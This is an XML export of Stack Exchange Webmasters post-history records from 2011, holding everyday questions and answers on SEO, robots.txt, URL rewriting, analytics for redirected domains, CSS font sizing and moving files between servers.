  <row Id="29726" PostHistoryTypeId="2" PostId="12959" RevisionGUID="770640b9-3dbe-4adb-9060-8182256b6fd9" CreationDate="2011-04-26T20:44:20.243" UserId="343" Text="To the extent that the links are useful, it might help Google to understand the keywords relevant to the page you are linking to.  If you overdo it though, you certainly risk being penalized.&#xD;&#xA;&#xD;&#xA;So how do you know if you are overdoing it?  Well, ultimately you can't.  But if you do it in a way that makes the links useful rather than simply for SEO purposes you are probably safe." />
  <row Id="29727" PostHistoryTypeId="2" PostId="12957" RevisionGUID="061961ee-672e-48d6-a8ee-365ff39b8f18" CreationDate="2011-04-26T20:35:56.413" UserDisplayName="Stephanie" Text="I am trying to improve my SEO Ranking, will linking my content to other pages on the site hinder or help my results. For instance if I was to link back to the home page every time I mentioned the company name.&#xD;&#xA;&#xD;&#xA;Example&#xD;&#xA;&#xD;&#xA;    The frog was almost the size of a &lt;a href=&quot;toadinfo.html&quot;&gt;toad&lt;/a&gt;. &lt;a href=&quot;toadinfo.html&quot;&gt;Toads&lt;/a&gt; are larger than frogs. My &lt;a href=&quot;toadinfo.html&quot;&gt;toad&lt;/a&gt; has green spots" />
  <row Id="29728" PostHistoryTypeId="1" PostId="12957" RevisionGUID="061961ee-672e-48d6-a8ee-365ff39b8f18" CreationDate="2011-04-26T20:35:56.413" UserDisplayName="Stephanie" Text="Will linking individual words within my content help or hinder my SEO Ranking?" />
  <row Id="29729" PostHistoryTypeId="3" PostId="12957" RevisionGUID="061961ee-672e-48d6-a8ee-365ff39b8f18" CreationDate="2011-04-26T20:35:56.413" UserDisplayName="Stephanie" Text="&lt;html&gt;&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="29730" PostHistoryTypeId="17" PostId="12957" RevisionGUID="9ee1a72c-76ca-48b5-8b86-1eafed7c8da0" CreationDate="2011-04-27T02:05:44.873" UserId="-1" Comment="from http://stackoverflow.com/questions/5796138/will-linking-individual-words-within-my-content-help-or-hinder-my-seo-ranking" Text="" />
  <row Id="29731" PostHistoryTypeId="2" PostId="12960" RevisionGUID="1c2cb59f-3d05-4fc6-9ff2-7451df7e932d" CreationDate="2011-04-27T02:42:37.890" UserId="5013" Text="I am interested in learning about SEO, as many of you may already know. I am by far not a pro, but would love to learn. I currently own a number of domains etc that I am playing around with content and learning from various methods and techniques I hear online.&#xD;&#xA;&#xD;&#xA;My problem is that when I read some of the many SEO blogs floating around out there, I get majorly conflicting views. I come here and ask questions about these conflicting things and get conflicting answers. **How do I separate fact from fiction?**&#xD;&#xA;&#xD;&#xA;For example, I had always believed that no-follow links did nothing for SEO and had heard somewhere that they, in fact, DO help with SEO. I was very confused about this and came here and even got conflicting advice: http://webmasters.stackexchange.com/questions/12690/ratio-of-no-follow-do-follow-backlinks&#xD;&#xA;&#xD;&#xA;**Are there any super authoritative websites/blogs that are notable for fact-based information and not speculation?**&#xD;&#xA;&#xD;&#xA;I used to read CourtneyTuttle and way back in the day JohnCow, but it seems like they and everyone else have these &quot;pay to learn stuff classes&quot; which turned off the appeal to these blogs... it's like if they've got uber secrets that they're not sharing in their blog, then why read the blog anymore?" />
  <row Id="29732" PostHistoryTypeId="1" PostId="12960" RevisionGUID="1c2cb59f-3d05-4fc6-9ff2-7451df7e932d" CreationDate="2011-04-27T02:42:37.890" UserId="5013" Text="SEO: How to Separate Fact from Fiction?" />
  <row Id="29733" PostHistoryTypeId="3" PostId="12960" RevisionGUID="1c2cb59f-3d05-4fc6-9ff2-7451df7e932d" CreationDate="2011-04-27T02:42:37.890" UserId="5013" Text="&lt;seo&gt;" />
  <row Id="29734" PostHistoryTypeId="25" PostId="12939" RevisionGUID="c6efb12c-a0ea-400b-ab95-8f8713b1f32a" CreationDate="2011-04-27T03:09:20.617" Comment="http://twitter.com/#!/StackWebmasters/status/63077239939530752" />
  <row Id="29735" PostHistoryTypeId="2" PostId="12961" RevisionGUID="447f1795-a620-459d-b557-07969bc3bb12" CreationDate="2011-04-27T03:34:07.687" UserDisplayName="delete" Text="I've noticed that tineye.com does not attempt to fetch &quot;robots.txt&quot; from my website. It also sends a &quot;user agent&quot; string consisting of the user's browser with &quot;TinEye/1.0 (via http://www.tineye.com/)&quot; tagged on to the end. &#xD;&#xA;&#xD;&#xA;Is this correct behaviour? If I write something which fetches one file from a web site, at the user's discretion, is it acceptable to not fetch &quot;robots.txt&quot;? Or should any automated program always obey robots.txt?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29736" PostHistoryTypeId="1" PostId="12961" RevisionGUID="447f1795-a620-459d-b557-07969bc3bb12" CreationDate="2011-04-27T03:34:07.687" UserDisplayName="delete" Text="Should a single page fetcher like TinEye obey robots.txt?" />
  <row Id="29737" PostHistoryTypeId="3" PostId="12961" RevisionGUID="447f1795-a620-459d-b557-07969bc3bb12" CreationDate="2011-04-27T03:34:07.687" UserDisplayName="delete" Text="&lt;robots.txt&gt;" />
  <row Id="29738" PostHistoryTypeId="17" PostId="12963" RevisionGUID="b739ff35-5e9a-4d49-ac68-fbd42cad6443" CreationDate="2011-04-27T03:35:27.293" UserId="-1" Comment="from http://stackoverflow.com/questions/5791386/simple-seo-on-my-personal-website/5791409#5791409" Text="" />
  <row Id="29739" PostHistoryTypeId="17" PostId="12964" RevisionGUID="743f201e-9268-40b2-b810-dda5d7fea071" CreationDate="2011-04-27T03:35:27.293" UserId="-1" Comment="from http://stackoverflow.com/questions/5791386/simple-seo-on-my-personal-website/5798507#5798507" Text="" />
  <row Id="29740" PostHistoryTypeId="2" PostId="12963" RevisionGUID="8a15a83f-8d00-4271-9d6d-462016174080" CreationDate="2011-04-26T13:56:04.200" UserDisplayName="BarsMonster" Text="Post few links to your site anywhere, and you will get into index in few weeks. You may even insert one in the comments here ;-)" />
  <row Id="29741" PostHistoryTypeId="2" PostId="12964" RevisionGUID="bce56542-feff-4114-b112-30cf77b54379" CreationDate="2011-04-27T01:56:57.653" UserId="3622" Text="If you launched your web site five days ago, I would say it is quite normal for you to find search engines have done nothing to your web site. &#xD;&#xA;&lt;p&gt;Submitting your web site to Google is only an attempt for you to make Google index your web site, but it does not necessarily mean Google will index your web site so quickly. &#xD;&#xA;&lt;p&gt;In your case, I suggest you to do two things immediately. First, put your links to some web sites which share the same segment of visitors so that your back links are relevance to your web site, like web sites about Car and and that of Tire share the same visitors. You can do this by adding comments on blogs and forums and so forth. &#xD;&#xA;&lt;p&gt;Another thing is take a look at your web site code. Some times one single piece of error may block Google to index your web site. Since you already have a Google web master tool account(Good job, it is a very good tool, do not forget to use Google Analytics as well.), do a &quot;Fetch as a bot&quot; test to see if everything is alright. &#xD;&#xA;&lt;p&gt;This may not important, but useful, be patient.&#xD;&#xA;&lt;p&gt;Good luck.  " />
  <row Id="29742" PostHistoryTypeId="2" PostId="12962" RevisionGUID="d3597382-28b8-4e23-a85e-2526c14668ee" CreationDate="2011-04-26T13:53:39.757" UserDisplayName="m0j1" Text="I have launched a site for myself and now I'm doing some simple SEO for it , it's on my name and it's unique and has no competition on search engines , but I don't know why google crawlers hasn't done anything on my site , I have added my site's url to google/addurl and I have also signed in on google webmaster tool and the title and the url of my site is also related to my name , but when I google even my name ,google returns nothing about my site . and google webmaster also shows no keywords for my site . do you have any idea why this happens?&lt;br/&gt;&#xD;&#xA;thanks&lt;br/&gt;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;update: ok , thanks , I won't link my site here , I launched it about 5 days ago , and it's on my name is completely unique , I just want it to be shown everytime someone googles my name , just that easy , but seems google hasn't done anything with my site yet , is it normal?" />
  <row Id="29743" PostHistoryTypeId="1" PostId="12962" RevisionGUID="d3597382-28b8-4e23-a85e-2526c14668ee" CreationDate="2011-04-26T13:53:39.757" UserDisplayName="m0j1" Text="simple SEO on my personal website" />
  <row Id="29744" PostHistoryTypeId="3" PostId="12962" RevisionGUID="d3597382-28b8-4e23-a85e-2526c14668ee" CreationDate="2011-04-26T13:53:39.757" UserDisplayName="m0j1" Text="&lt;google&gt;&lt;seo&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="29745" PostHistoryTypeId="17" PostId="12962" RevisionGUID="c300e105-0471-4a20-b364-1e1640861a9f" CreationDate="2011-04-27T03:35:27.293" UserId="-1" Comment="from http://stackoverflow.com/questions/5791386/simple-seo-on-my-personal-website" Text="" />
  <row Id="29746" PostHistoryTypeId="2" PostId="12965" RevisionGUID="cd99f02b-0408-403e-929b-03052939619b" CreationDate="2011-04-26T23:29:22.897" UserDisplayName="Perpetually Inquisitive" Text="I am NOT asking about getting a business added to Google Places. I'm asking about the 'user reviews' that show up on a Google Places listings. They seem to be pulled out from other review sites, like urbanspoon.com, etc.&#xD;&#xA;&#xD;&#xA;Is this something that Google does by itself, or is there an API or mechanism to get your site included as a source of reviews? &#xD;&#xA;&#xD;&#xA;In other words, can I get user reviews from my site something.com included in Google Places/Maps?" />
  <row Id="29747" PostHistoryTypeId="1" PostId="12965" RevisionGUID="cd99f02b-0408-403e-929b-03052939619b" CreationDate="2011-04-26T23:29:22.897" UserDisplayName="Perpetually Inquisitive" Text="Google Maps Reviews: How do I get my site included?" />
  <row Id="29748" PostHistoryTypeId="3" PostId="12965" RevisionGUID="cd99f02b-0408-403e-929b-03052939619b" CreationDate="2011-04-26T23:29:22.897" UserDisplayName="Perpetually Inquisitive" Text="&lt;google-maps&gt;&lt;seo&gt;" />
  <row Id="29749" PostHistoryTypeId="17" PostId="12965" RevisionGUID="d429d418-27fe-4612-84ab-70afd04ae40e" CreationDate="2011-04-27T03:37:47.857" UserId="-1" Comment="from http://stackoverflow.com/questions/5797631/google-maps-reviews-how-do-i-get-my-site-included" Text="" />
  <row Id="29750" PostHistoryTypeId="17" PostId="12967" RevisionGUID="d064aa13-4e98-4cf5-ac80-7b530197f035" CreationDate="2011-04-27T03:38:24.347" UserId="-1" Comment="from http://stackoverflow.com/questions/5209012/which-of-these-3-url-rewritings-are-better-seo-friendly-urls/5209026#5209026" Text="" />
  <row Id="29751" PostHistoryTypeId="17" PostId="12968" RevisionGUID="060ab752-b239-45ac-9de6-183517aa6b13" CreationDate="2011-04-27T03:38:24.347" UserId="-1" Comment="from http://stackoverflow.com/questions/5209012/which-of-these-3-url-rewritings-are-better-seo-friendly-urls/5214339#5214339" Text="" />
  <row Id="29752" PostHistoryTypeId="17" PostId="12969" RevisionGUID="a0595ef1-220b-423d-a05b-50123c812542" CreationDate="2011-04-27T03:38:24.347" UserId="-1" Comment="from http://stackoverflow.com/questions/5209012/which-of-these-3-url-rewritings-are-better-seo-friendly-urls/5215618#5215618" Text="" />
  <row Id="29753" PostHistoryTypeId="17" PostId="12970" RevisionGUID="3385481c-820b-4ace-b53e-08ae5ab7e1b9" CreationDate="2011-04-27T03:38:24.347" UserId="-1" Comment="from http://stackoverflow.com/questions/5209012/which-of-these-3-url-rewritings-are-better-seo-friendly-urls/5323162#5323162" Text="" />
  <row Id="29754" PostHistoryTypeId="2" PostId="12967" RevisionGUID="da83c923-1c17-4ac5-b150-0e94ab06563a" CreationDate="2011-03-06T06:07:34.307" UserDisplayName="kobe" Text="The url should be as descriptive as possible and it should in context with the contents it display. I also work on SEO urls alot and i think to my knowledge option B is good&#xD;&#xA;&#xD;&#xA;B   website.com/en/tomato/just-about-tomatos.htm" />
  <row Id="29755" PostHistoryTypeId="2" PostId="12968" RevisionGUID="8b2f9361-ab48-4150-bc69-e547b40a9801" CreationDate="2011-03-06T23:47:30.500" UserId="1067" Text="the `.htm` is good because it lets users know what file type the page is. I wouldn't suggest using `/en/` in the url because you want all users to come/link to the same page regardless of the language, and simply have the language changed via url query string paramater.&#xD;&#xA;&#xD;&#xA;So I would suggest:&#xD;&#xA;&#xD;&#xA;&gt; website.com/tomato/just-about-tomatos.htm?lang=en" />
  <row Id="29756" PostHistoryTypeId="2" PostId="12969" RevisionGUID="aea1e7e8-5da4-4260-a6f5-9733d1e1c5e9" CreationDate="2011-03-07T03:45:04.207" UserId="4461" Text="I think you might have selected the best answer prematurely?&#xD;&#xA;&#xD;&#xA;**Question 1:**  &#xD;&#xA;My pick would be `website.com/en/tomato/just-about-tomatos` - my rationale being:  &#xD;&#xA;  &#xD;&#xA;&#xD;&#xA; - `/en/` is a primary language folder that encompasses all of the content therein so is best suited to appear directly after the domain, and is the [best choice][1] for multi-lingual implementation after a) new domain, and b) sub-domain.&#xD;&#xA; - `/just-about-tomatos` is the page - so should reside at the end. There is no need to write `.htm` at the end since you're [rewriting the URL][2] and users DON'T CARE what language/platform you use.&#xD;&#xA;&#xD;&#xA;**Question 2:**  &#xD;&#xA;In order to add the `just-about-tomatos` part into your URL you'd probably have to look at creating a [mapping system][3] since that phase doesn't appear in your existing URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multilingual-websites.html&#xD;&#xA;  [2]: http://warpspire.com/posts/url-design/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Web_application_framework#URL_mapping" />
  <row Id="29757" PostHistoryTypeId="2" PostId="12970" RevisionGUID="0458ea12-7af8-408e-b1de-0d0eeebf834a" CreationDate="2011-03-16T09:21:36.117" UserId="6121" Text="Just want to clarify what Eric Vold write about the parameter (?lang=en)&#xD;&#xA;&#xD;&#xA;turns out that google do not recommend using this kind of parameter as it is confusing for visitors and 2 other factors as mentioned here: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=182192&#xD;&#xA;&#xD;&#xA;the best option from your list would be A as seriocomic suggested, but even better if you put it this way: &#xD;&#xA;&#xD;&#xA;&gt; en.website.com/tomato/just-about-tomatos&#xD;&#xA;" />
  <row Id="29758" PostHistoryTypeId="2" PostId="12966" RevisionGUID="64e4ee0d-1f62-4a9a-9dcf-e1af5efb35c3" CreationDate="2011-03-06T06:04:34.190" UserId="3590" Text="Imagine my current flat-file non-cms website with an URL like `http://website.com/en/tomato`&#xD;&#xA;&#xD;&#xA;This is of course very unsexy and could be anything really from *tomato soup*, *tomato the music band*, *tomato the movie*, or more unlikely but still ... *just about tomatos!*&#xD;&#xA;&#xD;&#xA;So, I want to make it more specific for both real humans as well as search engines. Given: both the language code and short filename code are essential and cannot be replaced so somewhere there has got to be `en` and `tomato` preciding/following whatever delimiter like `/` for htaccess to do the correct invisible redirects to `/tomato.php?language=en`&#xD;&#xA;&#xD;&#xA;Some options occured in my mind for the added words in url:&#xD;&#xA;&#xD;&#xA;    A   website.com/en/tomato/just-about-tomatos&#xD;&#xA;    B   website.com/en/tomato/just-about-tomatos.htm&#xD;&#xA;    C   website.com/just-about-tomatos/en/tomato&#xD;&#xA;    D   website.com/en/tomato_just_about_tomatos&#xD;&#xA;    E   website.com/en/tomato-just-about-tomatos&#xD;&#xA;&#xD;&#xA;&gt;**Question1:** Which of these is the best for humans as well as search engines?   &#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;&gt;**Question2:** Which single elegant rule should make this happen in .htaccss?   &#xD;&#xA;&#xD;&#xA;Thanks for your suggestions and answers! Much appreciated.&#xD;&#xA;" />
  <row Id="29759" PostHistoryTypeId="1" PostId="12966" RevisionGUID="64e4ee0d-1f62-4a9a-9dcf-e1af5efb35c3" CreationDate="2011-03-06T06:04:34.190" UserId="3590" Text="Which of these 3 URL-Rewritings are better seo friendly URLs?" />
  <row Id="29760" PostHistoryTypeId="3" PostId="12966" RevisionGUID="64e4ee0d-1f62-4a9a-9dcf-e1af5efb35c3" CreationDate="2011-03-06T06:04:34.190" UserId="3590" Text="&lt;url&gt;&lt;seo&gt;&lt;url-rewriting&gt;&lt;search-engines&gt;&lt;seo-friendly&gt;" />
  <row Id="29761" PostHistoryTypeId="17" PostId="12966" RevisionGUID="4592ccf3-ad66-44a8-b43b-85ceef92d093" CreationDate="2011-04-27T03:38:24.347" UserId="-1" Comment="from http://stackoverflow.com/questions/5209012/which-of-these-3-url-rewritings-are-better-seo-friendly-urls" Text="" />
  <row Id="29762" PostHistoryTypeId="17" PostId="12972" RevisionGUID="bfc5b995-53fe-423e-815d-d8549750bc71" CreationDate="2011-04-27T03:39:25.550" UserId="-1" Comment="from http://stackoverflow.com/questions/4999098/analytics-count-to-redirected-domain/5136352#5136352" Text="" />
  <row Id="29763" PostHistoryTypeId="2" PostId="12972" RevisionGUID="03fc47af-b42f-47ad-904d-76f775b01c37" CreationDate="2011-02-27T22:08:22.977" UserDisplayName="Jono Alderson" Text="If you're using Google Analytics, you have a few options.&#xD;&#xA;&#xD;&#xA; 1. Rather than redirecting to www.maindomain.com, redirect to www.maindomain.com/?utm_medium=referral&amp;utm_source=domain1.com. This will show up in your reports as if the visit has originated from a referrer of 'domain1.com'. Perfect. However, this will **overwrite** any existing source/medium data attributed to that visitor... e.g., if they come from Google via organic search and enter via domain.com, they'll be reported as a referral from domain1.com rather than an organic visitor from Google.&#xD;&#xA;&#xD;&#xA; 2. Rather than redirecting to www.maindomain.com, redirect to www.maindomain.com/?redir=domain1.com. Use conditional logic in the page to determine if there's a value present for the redir value, and then use Google Analytics custom variables to create a [session-level custom variable][1] to identify and be able to flag/segment these visitors.&#xD;&#xA;&#xD;&#xA;If you're using a different Analytics package, the solution should in theory be adaptable - you're either looking at utilising campaign tracking parameters to manually specify a source/channel, or you'll need to use conditional logic within the page to determine the source and output custom code/behaviour appropriately.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html" />
  <row Id="29764" PostHistoryTypeId="2" PostId="12971" RevisionGUID="fb85b657-163e-4217-ab94-91884530836b" CreationDate="2011-02-15T01:25:13.720" UserDisplayName="Shen Lance" Text="I'm not pretty sure if this question is programming related, so I'm sorry if it's not.&#xD;&#xA;&#xD;&#xA;The situation is like this. I have a domain (www.domain1.com for example). I would like to redirect all visitors that goes to www.domain1.com to my other domain(www.maindomain.com).  www.domain1.com doesn't have any contents or page, so simply I can do dns redirect or whatever just to redirect the visitors to my domain. My question, is there a away that I can count the visitors through analytics or some sort that goes to www.domain1.com?&#xD;&#xA;&#xD;&#xA;Your help is greatly appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Best regards," />
  <row Id="29765" PostHistoryTypeId="1" PostId="12971" RevisionGUID="fb85b657-163e-4217-ab94-91884530836b" CreationDate="2011-02-15T01:25:13.720" UserDisplayName="Shen Lance" Text="Analytics count to redirected domain?" />
  <row Id="29766" PostHistoryTypeId="3" PostId="12971" RevisionGUID="fb85b657-163e-4217-ab94-91884530836b" CreationDate="2011-02-15T01:25:13.720" UserDisplayName="Shen Lance" Text="&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="29767" PostHistoryTypeId="17" PostId="12971" RevisionGUID="cbaedbba-a3f1-480a-8b4c-4ee122229c30" CreationDate="2011-04-27T03:39:25.550" UserId="-1" Comment="from http://stackoverflow.com/questions/4999098/analytics-count-to-redirected-domain" Text="" />
  <row Id="29768" PostHistoryTypeId="2" PostId="12973" RevisionGUID="db0231e0-9bc5-4c0b-9b6e-6fcd9c1f4d29" CreationDate="2011-04-27T03:51:19.723" UserId="4461" Text="I wouldn't say there's a single authoritative one. [SEO Book][1] and [SEOMoz][2] get close, along with [Search Engine Land][3] - but there's still a lot of conjecture. Over the years I have compiled [**this list**][4] which might help (I am considering publishing it as a wiki item if there's interest).&#xD;&#xA;&#xD;&#xA;Beyond that - its when people publish their tests and results, have them critiqued by their peers and general consensus is reached in a repeated fashion that I use as a litmus test for a quality source.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seobook.com/blog&#xD;&#xA;  [2]: http://www.seomoz.org/blog&#xD;&#xA;  [3]: http://searchengineland.com/&#xD;&#xA;  [4]: http://www.qnq.com.au/resources/online-seo-link-repository/" />
  <row Id="29769" PostHistoryTypeId="2" PostId="12974" RevisionGUID="bc7f0cbf-107b-49e3-8931-42f240e1066b" CreationDate="2011-04-27T04:26:24.787" UserId="6643" Text="I have uploaded dozen of new web page(those are xxx.html file) one month ago, but I can't find them on Google/Yahoo search result, how can I know that they are/aren't indexed by Google/Yahoo?" />
  <row Id="29770" PostHistoryTypeId="1" PostId="12974" RevisionGUID="bc7f0cbf-107b-49e3-8931-42f240e1066b" CreationDate="2011-04-27T04:26:24.787" UserId="6643" Text="SEO - New web page are not getting indexing" />
  <row Id="29771" PostHistoryTypeId="3" PostId="12974" RevisionGUID="bc7f0cbf-107b-49e3-8931-42f240e1066b" CreationDate="2011-04-27T04:26:24.787" UserId="6643" Text="&lt;indexing&gt;" />
  <row Id="29772" PostHistoryTypeId="2" PostId="12975" RevisionGUID="4ba864e6-3679-404b-8874-73cf94a3a3af" CreationDate="2011-04-27T04:57:25.537" UserId="6467" Text="There is one that is way above all the rest. The best people in the world belong to that website system. Its SEOBook. No others compare. Its $300 per month. They have complete training systems. They have tools. They have a closed forum. There is no conflicting advice like here. &#xD;&#xA;&#xD;&#xA;The people on SEObook are making big money. Because they have the resource of SEObook. The best in America are there. " />
  <row Id="29773" PostHistoryTypeId="2" PostId="12976" RevisionGUID="b866e2bb-f546-443a-ae34-29383f0f20b0" CreationDate="2011-04-27T05:11:04.333" UserId="6467" Text="The way to get links is create things that your audience wants. If your website is a fan site of Lady Gaga, you need to know what her fans like, dislike. What would excite them? What are they most interested in? Then build pages that reflect that. Build relationships with other similar websites and ask them to link to your content. &#xD;&#xA;http://www.ericward.com/bestpractices/" />
  <row Id="29774" PostHistoryTypeId="6" PostId="12923" RevisionGUID="dcbb0c37-212b-4941-bab9-f04979ef6d74" CreationDate="2011-04-27T05:14:24.707" UserId="5013" Comment="edited tags" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="29775" PostHistoryTypeId="2" PostId="12977" RevisionGUID="dd537c33-7190-4fd6-90d9-b704cff1b32f" CreationDate="2011-04-27T06:07:29.257" UserId="5800" Text="One idea, you can check your hosting provider's web logs to see if it has been crawled by the google bot.  Also, have you submitted your sitemap to the engines?&#xD;&#xA;&#xD;&#xA;If you post a link to one of the pages in question maybe we can help find out for you?" />
  <row Id="29776" PostHistoryTypeId="25" PostId="12960" RevisionGUID="e19ea27d-ac55-4936-b90e-83d7cc710af0" CreationDate="2011-04-27T06:09:20.550" Comment="http://twitter.com/#!/StackWebmasters/status/63122538686976000" />
  <row Id="29778" PostHistoryTypeId="2" PostId="12979" RevisionGUID="b80e56eb-78ec-477a-941b-4d63f007830b" CreationDate="2011-04-27T06:14:49.153" UserId="5718" Text="Comments on stackexchange questions won't be any use because they use `nofollow` tags to tell Google to ignore the links. &#xD;&#xA;&#xD;&#xA;A few links from pretty much any reasonable quality site that's been around for a several years and get's updated often should lead to at least your homepage being placed in the index (as long as the link doesn't have the `rel=&quot;nofollow&quot;` attribute. For example, you could try submitting the site to the technorati blog directory.&#xD;&#xA;&#xD;&#xA;However, being in the index doesn't mean that Google will place you into the search results. If you are just looking to get queries on your name (an exact match on the domain name) to show up in the first page of results then the above links might be enough (as long as your name is relatively unique and doesn't show up in many other places on the web). If you actually want the keywords in your content to show up then you are likely to need links from pages that have a similar theme.&#xD;&#xA;" />
  <row Id="29779" PostHistoryTypeId="2" PostId="12980" RevisionGUID="cfd54598-7a7b-4637-86de-ccbabec4617b" CreationDate="2011-04-27T06:19:02.520" UserId="6231" Text="Could you please explain me or send me a link where is explained how does CSS property font-size work?&lt;br&gt;When you're working with relatives sizes in %. It's the percent of what? What are best practices etc.&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="29780" PostHistoryTypeId="1" PostId="12980" RevisionGUID="cfd54598-7a7b-4637-86de-ccbabec4617b" CreationDate="2011-04-27T06:19:02.520" UserId="6231" Text="How does font-size work in CSS" />
  <row Id="29781" PostHistoryTypeId="3" PostId="12980" RevisionGUID="cfd54598-7a7b-4637-86de-ccbabec4617b" CreationDate="2011-04-27T06:19:02.520" UserId="6231" Text="&lt;css&gt;&lt;fonts&gt;" />
  <row Id="29785" PostHistoryTypeId="2" PostId="12982" RevisionGUID="4f1cfd67-5a28-4f97-9312-c3b2b9c30d49" CreationDate="2011-04-27T07:56:22.723" UserId="2044" Text="How can i transfer files from one server http://abc.com to next server http://xyz.com&#xD;&#xA;&#xD;&#xA;I do have only ftp password of http://abc.com [source server].&#xD;&#xA;&#xD;&#xA;Which tool can be used?" />
  <row Id="29786" PostHistoryTypeId="1" PostId="12982" RevisionGUID="4f1cfd67-5a28-4f97-9312-c3b2b9c30d49" CreationDate="2011-04-27T07:56:22.723" UserId="2044" Text="How can i transfer files of one server to next server" />
  <row Id="29787" PostHistoryTypeId="3" PostId="12982" RevisionGUID="4f1cfd67-5a28-4f97-9312-c3b2b9c30d49" CreationDate="2011-04-27T07:56:22.723" UserId="2044" Text="&lt;web-hosting&gt;&lt;ftp&gt;&lt;transfer&gt;" />
  <row Id="29788" PostHistoryTypeId="2" PostId="12983" RevisionGUID="bc045cd2-72cf-4b7b-aac2-dc38df230738" CreationDate="2011-04-27T08:01:36.433" UserId="2490" Text="I use [Arvixe][1]. You can start with small package (PersonalClass) and then move to bigger ones. It supports everything you asked (including cron jobs)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-2.html" />
  <row Id="29789" PostHistoryTypeId="2" PostId="12984" RevisionGUID="527fbaf6-2b73-4eb8-9700-89b705b89838" CreationDate="2011-04-27T08:02:54.043" UserId="1643" Text="The best place to go is where CSS is defined - http://www.w3.org/TR/CSS2/fonts.html#font-shorthand. To answer the % question - it's the percentage of the font size of the parent element." />
  <row Id="29793" PostHistoryTypeId="2" PostId="12986" RevisionGUID="b88b8f71-2c79-405d-9974-7d055c99fb49" CreationDate="2011-04-27T08:14:44.963" UserId="1643" Text="You need to use microformats or as Google calls them, *rich snippets*. This blog post contains links to Google's information on the subject. http://blumenthals.com/blog/2010/09/22/google-announces-full-support-for-microformats-in-local/" />
  <row Id="29794" PostHistoryTypeId="2" PostId="12987" RevisionGUID="f2779d4b-4914-4127-b4e7-f36059429003" CreationDate="2011-04-27T08:22:48.993" UserId="6231" Text="I defined in my CSS file font-size property for the body&#xD;&#xA;&#xD;&#xA;    body {&#xD;&#xA;      font-size : 12px;&#xD;&#xA;    }&#xD;&#xA;I wanted to have the size of font the same as in http://www.stackexchange.com site.&#xD;&#xA;&#xD;&#xA;It works in chromium browser but does not work in firefox. The size of font in firefox&#xD;&#xA;is bigger.&#xD;&#xA;&#xD;&#xA;Where could be the problem?&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;" />
  <row Id="29795" PostHistoryTypeId="1" PostId="12987" RevisionGUID="f2779d4b-4914-4127-b4e7-f36059429003" CreationDate="2011-04-27T08:22:48.993" UserId="6231" Text="Font-size in firefox is bigger than is should" />
  <row Id="29796" PostHistoryTypeId="3" PostId="12987" RevisionGUID="f2779d4b-4914-4127-b4e7-f36059429003" CreationDate="2011-04-27T08:22:48.993" UserId="6231" Text="&lt;css&gt;&lt;fonts&gt;" />
  <row Id="29800" PostHistoryTypeId="2" PostId="12989" RevisionGUID="21c7213c-0dff-4dd0-88f9-6d8646cd5d6d" CreationDate="2011-04-27T08:30:59.343" UserId="1643" Text="Using robots.txt is only ever voluntary, there's no international law that says you should. However TinEye says it does look at it: http://www.tineye.com/faq#robots - so I would contact them and complain if you think it isn't." />
  <row Id="29802" PostHistoryTypeId="25" PostId="12980" RevisionGUID="d36aedbf-d95c-424a-858c-8255586bfbbb" CreationDate="2011-04-27T09:09:20.763" Comment="http://twitter.com/#!/StackWebmasters/status/63167838554308608" />
  <row Id="29803" PostHistoryTypeId="6" PostId="12881" RevisionGUID="2388fb7c-13d6-4dcd-8110-f4afc1b8baa9" CreationDate="2011-04-27T09:48:55.783" UserId="4461" Comment="edited tags" Text="&lt;dns&gt;&lt;domain-names&gt;&lt;domain-registration&gt;&lt;registrar&gt;" />
  <row Id="29805" PostHistoryTypeId="5" PostId="12924" RevisionGUID="de4aee84-3756-4cf2-a2b4-761b8fe99c83" CreationDate="2011-04-27T10:43:36.213" UserId="233" Comment="edited body" Text="After a little bit of testing, the preview appears to use a screen width of around 1000 pixels, so it is very likely it uses 1024 as a base.&#xD;&#xA;&#xD;&#xA;I checked Wikipedia, which uses a fluid layout. Judging by the scale of the thumbnail it used around 1000 pixel width (you can check more accurately yourself if you like).&#xD;&#xA;&#xD;&#xA;I checked CSS-Tricks.com which uses a responsive layout, and the thumbnail shows the second version down (main content and one column on right). That layout appears in the range 920px to 1200px.&#xD;&#xA;&#xD;&#xA;For fixed-width designs, the screenshot is taken at or above the fixed width and cropped to that width. I don't know of a design with a fixed width higher than 1024 but if you do, give it a try!" />
  <row Id="29810" PostHistoryTypeId="2" PostId="12992" RevisionGUID="785d66c8-1c11-4cf2-a303-0a16d9330644" CreationDate="2011-04-27T12:18:52.583" UserId="5581" Text="my main domain is domain.com. (example)   &#xD;&#xA;but i want to buy   &#xD;&#xA;domain-dragon.com  &#xD;&#xA;domain-killer.com  &#xD;&#xA;and on and on &#xD;&#xA;and redirect (301) to my main domain - domain.com, &#xD;&#xA;is conceder as a violation of seo rules. &#xD;&#xA;is it bad for business?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="29811" PostHistoryTypeId="1" PostId="12992" RevisionGUID="785d66c8-1c11-4cf2-a303-0a16d9330644" CreationDate="2011-04-27T12:18:52.583" UserId="5581" Text="Redirect different domains to yur main site" />
  <row Id="29812" PostHistoryTypeId="3" PostId="12992" RevisionGUID="785d66c8-1c11-4cf2-a303-0a16d9330644" CreationDate="2011-04-27T12:18:52.583" UserId="5581" Text="&lt;seo&gt;&lt;domains&gt;&lt;301-redirect&gt;" />
